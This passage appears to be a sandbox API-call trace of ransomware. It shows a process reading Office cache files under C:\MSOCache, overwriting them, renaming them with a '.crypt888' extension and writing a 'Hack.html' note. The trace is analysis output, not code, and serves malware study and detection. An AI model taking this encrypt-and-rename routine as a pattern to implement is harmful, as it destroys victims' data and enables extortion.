ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0067.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.661] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.crypt888")) returned 1 [0067.661] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.661] GetFileType (hFile=0x258) returned 0x1 [0067.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.662] GetFileType (hFile=0x258) returned 0x1 [0067.662] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5ac [0067.662] ReadFile (in: hFile=0x258, lpBuffer=0x2881050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2881050*, lpNumberOfBytesRead=0x39ed58*=0x5ac, lpOverlapped=0x0) returned 1 [0067.667] CloseHandle (hObject=0x258) returned 1 [0067.708] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.709] GetFileType (hFile=0x258) returned 0x1 [0067.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.709] GetFileType (hFile=0x258) returned 0x1 [0067.709] WriteFile (in: hFile=0x258, lpBuffer=0x26d65f4*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26d65f4*, lpNumberOfBytesWritten=0x39ed1c*=0x5b0, lpOverlapped=0x0) returned 1 [0067.709] CloseHandle (hObject=0x258) returned 1 [0067.710] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.710] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.710] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb98eba40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0067.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.710] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.711] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.711] GetFileType (hFile=0x258) returned 0x1 [0067.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.711] GetFileType (hFile=0x258) returned 0x1 [0067.712] WriteFile (in: hFile=0x258, lpBuffer=0x26d901c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26d901c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.713] CloseHandle (hObject=0x258) returned 1 [0067.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.713] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.713] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.713] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7a8 [0067.721] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.721] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.721] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.721] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.721] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.722] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.723] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.723] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.723] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.723] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.723] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0067.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.724] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.724] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.724] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7a8 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.725] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.726] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.727] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.727] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.727] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.727] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.727] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.727] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0067.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.728] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0067.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.730] GetFileType (hFile=0x258) returned 0x1 [0067.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.730] GetFileType (hFile=0x258) returned 0x1 [0067.730] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x91975 [0067.731] ReadFile (in: hFile=0x258, lpBuffer=0x36698d0, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ed58*=0x91975, lpOverlapped=0x0) returned 1 [0067.827] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0067.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.841] GetFileType (hFile=0x258) returned 0x1 [0067.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.841] GetFileType (hFile=0x258) returned 0x1 [0067.841] WriteFile (in: hFile=0x258, lpBuffer=0x3941888*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x3941888*, lpNumberOfBytesWritten=0x39ed48*=0x91980, lpOverlapped=0x0) returned 1 [0067.852] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0067.852] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.crypt888", lpFilePart=0x0) returned 0x54 [0067.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.852] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xb9a426a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x91980)) returned 1 [0067.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.852] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.crypt888")) returned 1 [0067.862] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0067.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.863] GetFileType (hFile=0x258) returned 0x1 [0067.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.863] GetFileType (hFile=0x258) returned 0x1 [0067.863] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x15b5 [0067.863] ReadFile (in: hFile=0x258, lpBuffer=0x272c6f4, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x272c6f4*, lpNumberOfBytesRead=0x39ed58*=0x15b5, lpOverlapped=0x0) returned 1 [0067.883] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0067.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.883] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.884] GetFileType (hFile=0x258) returned 0x1 [0067.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.884] GetFileType (hFile=0x258) returned 0x1 [0067.884] WriteFile (in: hFile=0x258, lpBuffer=0x278017c*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x278017c*, lpNumberOfBytesWritten=0x39ed48*=0x15c0, lpOverlapped=0x0) returned 1 [0067.886] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0067.886] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.crypt888", lpFilePart=0x0) returned 0x55 [0067.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.886] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9a8e960, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x15c0)) returned 1 [0067.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.886] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.crypt888")) returned 1 [0067.887] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.888] GetFileType (hFile=0x258) returned 0x1 [0067.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.888] GetFileType (hFile=0x258) returned 0x1 [0067.888] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x333 [0067.888] ReadFile (in: hFile=0x258, lpBuffer=0x2781f34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2781f34*, lpNumberOfBytesRead=0x39ed58*=0x333, lpOverlapped=0x0) returned 1 [0067.912] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.913] GetFileType (hFile=0x258) returned 0x1 [0067.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.914] GetFileType (hFile=0x258) returned 0x1 [0067.914] WriteFile (in: hFile=0x258, lpBuffer=0x27d0e8c*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27d0e8c*, lpNumberOfBytesWritten=0x39ed1c*=0x340, lpOverlapped=0x0) returned 1 [0067.915] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.915] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.crypt888", lpFilePart=0x0) returned 0x58 [0067.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.915] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, 